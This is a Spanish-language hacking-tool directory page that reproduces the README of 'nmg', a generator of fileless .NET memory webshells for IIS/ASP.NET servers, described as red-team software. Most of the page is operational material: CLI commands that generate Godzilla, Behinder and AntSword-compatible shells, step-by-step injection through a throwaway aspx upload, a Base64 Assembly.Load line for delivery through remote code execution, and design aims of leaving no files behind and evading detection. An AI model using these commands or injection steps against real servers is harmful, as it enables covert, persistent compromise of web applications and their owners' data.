Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nmg — Genera payloads de memory-shell de .NET parametrizados (VPP, ruta MVC, HttpListener) compatibles con los clientes Godzilla, Behinder y AntSword para pruebas de red team. | Kitploit
Herramientas/GitHubGitHub/baguette168/nmg
Herramientas DefensivasGeneración de PayloadsMecanismos de PersistenciaExplotación de Aplicaciones WebPost-ExplotaciónSeguridad WebPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoGeneración de ShellcodeDesarrollo de Payloads
717hace 13 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubbaguette168/nmg

nmg

Genera payloads de memory-shell de .NET parametrizados (VPP, ruta MVC, HttpListener) compatibles con los clientes Godzilla, Behinder y AntSword para pruebas de red team.

Ver Repositorio
Compartir

NMG - Generador de memory-shell para .NET

.NET Tests License Platform

Generador parametrizado de memory shells para .NET | Red team / pruebas de seguridad | Equivalente a JMG para .NET

Arquitectura

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

¿Qué es NMG?

NMG genera payloads de memory shell de .NET parametrizados que se inyectan en aplicaciones IIS/ASP.NET sin dejar archivos en disco. Tras la inyección, te conectas con los gestores de webshell existentes (Godzilla / Behinder / AntSword): NMG solo hace que funcione el lado del servidor.

Piénsalo así: parámetros de entrada -> payload compilado -> inyección -> conexión con el cliente

Características

Tipos de Memory Shell

TipoObjetivo.NET FrameworkPunto de activación
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (independiente de IIS)

Protocolos de Shell

ProtocoloClienteCifradoVerificado
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ Extremo a extremo
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] bytes sin procesar)✅ Extremo a extremo
antswordAntSwordBase64✅ Extremo a extremo

Formatos de Salida

FormatoCaso de uso
aspxSubir a un directorio con permisos de escritura, acceder una vez para inyectar
b64Para entrega mediante RCE vía deserialización/inyección de expresiones
dllDLL sin procesar para cargadores personalizados

Subcomandos

ComandoPropósito
generateGenerar payload de memory shell
probeGenerar aspx de detección de entorno (informa CLR/trust/MVC/VPP)
versionMostrar versión
helpMostrar uso

Interfaz Web

Interfaz web integrada con tema Inset Dark (minimalismo estilo Linear):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Inicio rápido

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Métodos de inyección

Método 1 — inyector ASPX:

  1. Sube el archivo .aspx generado a cualquier directorio con permisos de escritura en el objetivo
  2. Accede a él una vez en un navegador (activa Assembly.Load + el registro de VPP)
  3. Elimina el archivo aspx
  4. Conéctate con tu cliente de webshell a cualquier .aspx/.ashx/.asmx existente en el sitio

Método 2 — Base64 (entrega de RCE): Ejecuta en cualquier punto de ejecución de código:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Sube el probe.aspx generado y accede a él una vez. Devuelve JSON con:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Úsalo para determinar qué tipo de shell de memoria y protocolo usar.

Principios de diseño

  1. Seguro para el host: Todas las rutas de ejecución están envueltas en try-catch; cualquier excepción deja pasar la solicitud silenciosamente
  2. Idempotente: La inyección repetida no acumula registros
  3. Sin residuos de archivos: Tras la inyección, no quedan archivos nuevos en el directorio web
  4. Determinista: Mismos parámetros + misma semilla = salida idéntica byte a byte (NFR-5)
  5. Sin compilación dinámica en el objetivo: El payload está precompilado, evita la detección de ASP.xxx_aspx+ClassName
  6. Registro dual: VPP usa primero la API oficial y recurre a la sustitución directa de campos para el modo Integrated de IIS

Compilación

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Estructura del proyecto

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Referencias

  • BeichenDream/GodzillaMemoryShellProject.NET
  • Serie de memory shells ASP.NET de yzddmr6 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Generador de memory shells Java

Licencia

MIT

Descargar herramienta